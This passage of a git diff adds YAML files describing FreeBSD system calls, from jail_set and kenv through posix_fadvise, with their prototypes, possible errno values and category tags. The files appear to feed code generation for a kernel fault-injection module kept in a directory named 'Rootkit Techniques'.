@@ -0,0 +1,14 @@ +proto: struct thread *td, struct jail_set_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml new file mode 100644 index 0000000..749718c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct kenv_args *uap +parms: td, uap +errors: + - EINVAL + - ENOENT + - EPERM + - EFAULT + - ENAMETOOLONG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml new file mode 100644 index 0000000..f47a15b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct kevent_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EBADF + - EINTR + - EINTR + - EINVAL + - ENOENT + - ENOMEM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml new file mode 100644 index 0000000..1820a34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct kill_args *uap +parms: td, uap +errors: + - EINVAL + - ESRCH + - EPERM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml new file mode 100644 index 0000000..1b0a4b5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct kqueue_args *uap +parms: td, uap +errors: + - ENOMEM + - EMFILE + - ENFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml new file mode 100644 index 0000000..9e654a1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct lchflags_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml new file mode 100644 index 0000000..4e74d85 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct lchmod_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EFTYPE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml new file mode 100644 index 0000000..5b86047 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct lchown_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml new file mode 100644 index 0000000..9b26543 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct lgetfh_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml new file mode 100644 index 0000000..3e206c4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml @@ -0,0 +1,21 @@ +proto: struct thread *td, struct link_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EOPNOTSUPP + - EMLINK + - EACCES + - ENOENT + - EEXIST + - EPERM + - EXDEV + - ENOSPC + - EDQUOT + - ELOOP + - EIO + - EROFS + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml new file mode 100644 index 0000000..6415530 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml @@ -0,0 +1,24 @@ +proto: struct thread *td, struct linkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EOPNOTSUPP + - EMLINK + - EACCES + - ENOENT + - EEXIST + - EPERM + - EXDEV + - ENOSPC + - EDQUOT + - ELOOP + - EIO + - EROFS + - EFAULT + - EBADF + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml new file mode 100644 index 0000000..35865cf --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct lio_listio_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EINTR + - EIO + - EAGAIN + - EOPNOTSUPP + - EBADF + - EOVERFLOW + - ECANCELED +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml new file mode 100644 index 0000000..b893255 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct listen_args *uap +parms: td, uap +errors: + - EBADF + - EDESTADDRREQ + - EINVAL + - ENOTSOCK + - EOPNOTSUPP +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml new file mode 100644 index 0000000..1763376 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct lpathconf_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml new file mode 100644 index 0000000..174eab1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct lseek_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - ENXIO + - EOVERFLOW + - ESPIPE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml new file mode 100644 index 0000000..975c118 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct lutimes_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml new file mode 100644 index 0000000..ee19be4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct madvise_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml new file mode 100644 index 0000000..d88479f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct mincore_args *uap +parms: td, uap +errors: + - ENOMEM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml new file mode 100644 index 0000000..4db71c0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct minherit_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml new file mode 100644 index 0000000..a66c216 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct mkdir_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EEXIST + - ENOSPC + - EDQUOT + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml new file mode 100644 index 0000000..b2bcc98 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct mkdirat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EEXIST + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EBADF + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml new file mode 100644 index 0000000..ae7cbce --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct mkfifo_args *uap +parms: td, uap +errors: + - ENOTSUP + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EROFS + - EEXIST + - EPERM + - ENOSPC + - EDQUOT + - EIO + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml new file mode 100644 index 0000000..d2678d4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct mkfifoat_args *uap +parms: td, uap +errors: + - ENOTSUP + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EROFS + - EEXIST + - EPERM + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EBADF diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml new file mode 100644 index 0000000..9997958 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct mknodat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EIO + - ENOSPC + - EDQUOT + - EROFS + - EEXIST + - EFAULT + - EINVAL + - EBADF diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml new file mode 100644 index 0000000..c013c5d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct mlock_args *uap +parms: td, uap +errors: + - EINVAL + - EAGAIN + - ENOMEM + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml new file mode 100644 index 0000000..cc2eae5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct mlockall_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - EAGAIN + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml new file mode 100644 index 0000000..95dae14 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct mmap_args *uap +parms: td, uap +errors: + - EACCES + - EBADF + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml new file mode 100644 index 0000000..55a8e25 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct modfind_args *uap +parms: td, uap +errors: + - EFAULT + - ENOENT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml new file mode 100644 index 0000000..eb6a3a7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct modstat_args *uap +parms: td, uap +errors: + - ENOENT + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml new file mode 100644 index 0000000..49de172 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml @@ -0,0 +1,22 @@ +proto: struct thread *td, struct mount_args *uap +parms: td, uap +errors: + - EPERM + - ENAMETOOLONG + - ELOOP + - ENOENT + - ENOTDIR + - EBUSY + - EFAULT + - ENODEV + - ENOTBLK + - ENXIO + - EBUSY + - EMFILE + - EINVAL + - ENOMEM + - EIO + - EFAULT + - ETIMEDOUT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml new file mode 100644 index 0000000..f37acd0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct mprotect_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml new file mode 100644 index 0000000..cb60506 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct msgctl_args *uap +parms: td, uap +errors: + - EPERM + - EACCES + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml new file mode 100644 index 0000000..100cc81 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct msgget_args *uap +parms: td, uap +errors: + - EACCES + - EEXIST + - ENOSPC + - ENOENT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml new file mode 100644 index 0000000..74ebb72 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct msgrcv_args *uap +parms: td, uap +errors: + - EINVAL + - E2BIG + - EACCES + - EFAULT + - EINTR + - ENOMSG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml new file mode 100644 index 0000000..45b3a20 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct msgsnd_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES + - EAGAIN + - EFAULT + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml new file mode 100644 index 0000000..8d69ee6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct msync_args *uap +parms: td, uap +errors: + - EBUSY + - EINVAL + - ENOMEM + - EINVAL + - EIO +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml new file mode 100644 index 0000000..b6d3947 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct munlock_args *uap +parms: td, uap +errors: + - EPERM + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml new file mode 100644 index 0000000..ee95f5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct munlockall_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - EAGAIN + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml new file mode 100644 index 0000000..f0ac734 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct munmap_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml new file mode 100644 index 0000000..6c80118 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct nanosleep_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL + - EINVAL + - EINVAL + - ENOTSUP +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml new file mode 100644 index 0000000..4a431cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct nfssvc_args *uap +parms: td, uap +errors: + - ENEEDAUTH + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml new file mode 100644 index 0000000..2b98904 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml @@ -0,0 +1,22 @@ +proto: struct thread *td, struct nmount_args *uap +parms: td, uap +errors: + - EPERM + - ENAMETOOLONG + - ELOOP + - ENOENT + - ENOTDIR + - EBUSY + - EFAULT + - ENODEV + - ENOTBLK + - ENXIO + - EBUSY + - EMFILE + - EINVAL + - ENOMEM + - EIO + - EFAULT + - ETIMEDOUT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml new file mode 100644 index 0000000..b805668 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml @@ -0,0 +1,31 @@ +proto: struct thread *td, struct open_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - EMFILE + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EINVAL + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml new file mode 100644 index 0000000..f75020a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml @@ -0,0 +1,31 @@ +proto: struct thread *td, struct openat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - EMFILE + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EINVAL + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml new file mode 100644 index 0000000..a030bb2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct pathconf_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml new file mode 100644 index 0000000..a91c712 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct pdfork_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTCAPABLE + - EAGAIN + - ENOMEM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml new file mode 100644 index 0000000..adf0d62 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct pdgetpid_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTCAPABLE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml new file mode 100644 index 0000000..9fefab0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct pdkill_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTCAPABLE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml new file mode 100644 index 0000000..b261df9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct pipe2_args *uap +parms: td, uap +errors: + - EFAULT + - EMFILE + - ENFILE + - ENOMEM + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml new file mode 100644 index 0000000..c3d0e18 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct poll_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml new file mode 100644 index 0000000..327e351 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct posix_fadvise_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EINVAL + - ENODEV + - ESPIPE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized 